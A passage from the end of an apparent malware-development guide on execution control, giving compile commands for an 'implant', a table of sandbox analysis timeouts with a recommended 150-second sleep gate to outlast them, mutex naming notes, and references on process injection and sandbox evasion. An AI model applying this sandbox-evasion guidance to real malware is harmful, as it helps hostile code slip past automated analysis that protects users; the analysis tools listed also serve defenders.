  GetSystemTimeAsFileTime(&ft)  // FILETIME (100ns intervals since 1601)

Key Compile Commands

# C — MSVC (Windows)
cl.exe control.c /Fe:control.exe

# C — MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-gcc control.c -o control.exe -lntdll

# C — TLS callback (MSVC)
cl.exe tls_gate.cpp /Fe:tls_gate.exe /link /INCLUDE:__tls_used

# C# — compile implant
csc.exe /target:exe /out:gate.exe gate.cs

# Test mutex names (PowerShell — live system)
[System.Threading.Mutex]::OpenExisting("Global\\YourMutexName")

# Enumerate all named kernel objects (requires PH or WinObj)
winobj.exe   # Sysinternals WinObj — browse \BaseNamedObjects\

Timing Quick Reference

Sleep durations vs sandbox timeouts:
  CAPE Sandbox:  ~120 seconds max analysis window
  Any.run:       ~60 seconds (free tier)
  Joe Sandbox:   ~120 seconds
  VirusTotal:    ~60 seconds sandbox
  Windows Defender sandbox: ~15-30 seconds

Recommended sleep gate: 90–150 seconds
  liDueTime.QuadPart = -1500000000LL  // 150 seconds as LARGE_INTEGER

100ns interval conversion:
  1 second      = 10,000,000 units
  30 seconds    = 300,000,000 units  → -300000000LL
  90 seconds    = 900,000,000 units  → -900000000LL
  120 seconds   = 1,200,000,000 units → -1200000000LL

Named Object Prefix Reference

Object name prefixes (Windows kernel namespace):
  Global\<name>          Visible to ALL sessions (admin + user)
  Local\<name>           Current session only (same as no prefix)
  Sessions\N\...         Specific session N
  \BaseNamedObjects\     WinObj root for named kernel objects

Visibility:
  Global\Foo   → visible in Task Manager, ProcessHacker, WinObj, Volatility
  unnamed      → not visible by name — harder to enumerate but cross-process share requires handle inheritance

References & Tools

Execution Control & Synchronization: - RustRedOps — https://github.com/joaoviictorti/RustRedOps (Payload_Execution_Control module) - Ired.team — https://www.ired.team (shellcode via CreateThreadpoolWait, Fibers, APC) - Unprotect Project — https://unprotect.it/technique/shellcode-injection-via-createthreadpoolwait/ - Cocomelonc — https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html (Mutex tricks) - 0xpat.github.io — https://0xpat.github.io/Malware_development_part_2/ (Anti-sandbox timing)

MITRE ATT&CK: - T1055.004 — Process Injection: Asynchronous Procedure Call - T1055 — Process Injection (general) - T1497 — Virtualization/Sandbox Evasion - T1497.003 — Time-Based Evasion

Analysis Tools: - ProcessHacker / System Informer — https://processhacker.sourceforge.io - Sysinternals Handle.exe / WinObj — https://learn.microsoft.com/sysinternals - Volatility3 — https://github.com/volatilityfoundation/volatility3 - PE-sieve — https://github.com/hasherezade/pe-sieve - Hollows Hunter — https://github.com/hasherezade/hollows_hunter - al-khaser — https://github.com/LordNoteworthy/al-khaser (anti-analysis check reference)

Further Reading: - Microsoft Docs — Synchronization Objects: https://learn.microsoft.com/windows/win32/sync/synchronization-objects - Microsoft Docs — Waitable Timer Objects: https://learn.microsoft.com/windows/win32/sync/using-waitable-timer-objects - DbgMan Red Team Guide — https://0xdbgman.github.io/posts/shellcode-loaders-the-art-of-execution/


← Malware development top ↑